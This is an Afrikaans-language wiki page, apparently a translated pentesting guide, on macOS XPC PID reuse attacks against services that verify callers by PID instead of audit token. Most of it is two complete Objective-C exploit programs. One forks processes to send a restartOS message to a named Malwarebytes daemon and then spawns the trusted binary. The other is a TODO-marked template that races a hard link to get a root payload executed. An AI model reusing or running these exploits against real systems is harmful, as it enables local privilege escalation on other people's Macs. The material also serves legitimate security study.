macOS PID Hergebruik

PID Hergebruik

Wanneer 'n macOS XPC diens die aangeroepde proses op grond van die PID nagaan en nie op die audit token nie, is dit kwesbaar vir 'n PID hergebruik aanval. Hierdie aanval is gebaseer op 'n wedlooptoestand waar 'n ontploffing boodskappe na die XPC diens misbruik van die funksionaliteit gaan stuur en net na dit, posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) met die toegelate binêre uitvoer.

Hierdie funksie sal die toegelate binêre die PID laat besit, maar die kwade XPC boodskap sou net voorheen gestuur gewees het. So, as die XPC diens die PID gebruik om die sender te verifieer en dit NÁ die uitvoering van posix_spawn nagaan, sal dit dink dit kom van 'n geakkrediteerde proses.

Ontploffing voorbeeld

As jy die funksie shouldAcceptNewConnection of 'n funksie wat deur dit aangeroep word processIdentifier noem en nie auditToken aanroep nie. Dit beteken hoogs waarskynlik dat dit die proses PID nagaan en nie die audit token nie.
Soos byvoorbeeld in hierdie beeld (geneem uit die verwysing):

https://wojciechregula.blog/images/2020/04/pid.png

Kyk na hierdie voorbeeld ontploffing (weer, geneem uit die verwysing) om die 2 dele van die ontploffing te sien:

Een wat verskeie forks genereer
Elke fork sal die payload na die XPC diens stuur terwyl dit posix_spawn net na die boodskap stuur.

Caution

Vir die ontploffing om te werk, is dit belangrik om export`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES of om binne die ontploffing te plaas:
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

{{#tabs}} {{#tab name="NSTasks"}} Eerste opsie wat NSTasks gebruik en argument om die kinders te begin om die RC te ontplof

// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;

[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];

char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];

for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}

int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};

nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}

return true;
}

int main(int argc, const char * argv[]) {

if(argc > 1) {
// called from the NSTasks
child();

} else {
NSLog(@"Starting the race");
create_nstasks();
}

return 0;
}

{{#tab name="fork"}} Hierdie voorbeeld gebruik 'n rou fork om kinders te begin wat die PID wedlooptoestand sal benut en dan nog 'n wedlooptoestand via 'n harde skakel:

// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl

#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>

// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end

// Global flag to track exploitation status
bool pwned = false;

/**
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload.
*/
void *check_race(void *arg) {
while(!pwned) {
// Overwrite with contents of the legit binary
system("cat ./legit_bin > hard_link");
usleep(50000);

// Overwrite with contents of the payload to execute
// TODO: COMPILE YOUR OWN PAYLOAD BIN
system("cat ./payload > hard_link");
usleep(50000);
}
return NULL;
}

void child_xpc_pid_rc_abuse(){
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
extern char **environ;

// Connect with XPC service
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
NSString*  service_name = @"com.example.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
// TODO: CNAGE THE PROTOCOL NAME
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];

id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];

NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", connection);

// Call vulenrable XPC function
// TODO: CHANEG NAME OF FUNCTION TO CALL
[obj DoSomething:^(_Bool b){
NSLog(@"Response, %hdd", b);
}];

// Change current process to the legit binary suspended
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

/**
* Function to perform the PID race condition using children calling the XPC exploit.
*/
void xpc_pid_rc_abuse() {
#define RACE_COUNT 1
extern char **environ;
int pids[RACE_COUNT];

// Fork child processes to exploit
for (int i = 0; i < RACE_COUNT; i++) {
int pid = fork();
if (pid == 0) {  // If a child process
child_xpc_pid_rc_abuse();
}
printf("forked %d\n", pid);
pids[i] = pid;
}

// Wait for children to finish their tasks
sleep(3);

// Terminate child processes
for (int i = 0; i < RACE_COUNT; i++) {
if (pids[i]) {
kill(pids[i], 9);
}
}
}

int main(int argc, const char * argv[]) {
// Create and set execution rights to 'hard_link' file
system("touch hard_link");
system("chmod +x hard_link");

// Create thread to exploit sign verification RC
pthread_t thread;
pthread_create(&thread, NULL, check_race, NULL);

while(!pwned) {
// Try creating 'download' directory, ignore errors
system("mkdir download 2>/dev/null");

// Create a hardlink
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
system("ln hard_link download/legit_bin");

xpc_pid_rc_abuse();
usleep(10000);

// The payload will generate this file if exploitation is successfull
if (access("/tmp/pwned", F_OK ) == 0) {
pwned = true;
}
}

return 0;
}

Ander voorbeelde

https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html

9.3 KiB Raw Blame History

macOS PID Hergebruik

PID Hergebruik

Ontploffing voorbeeld

Ander voorbeelde

Verwysings

9.3 KiB

Raw Blame History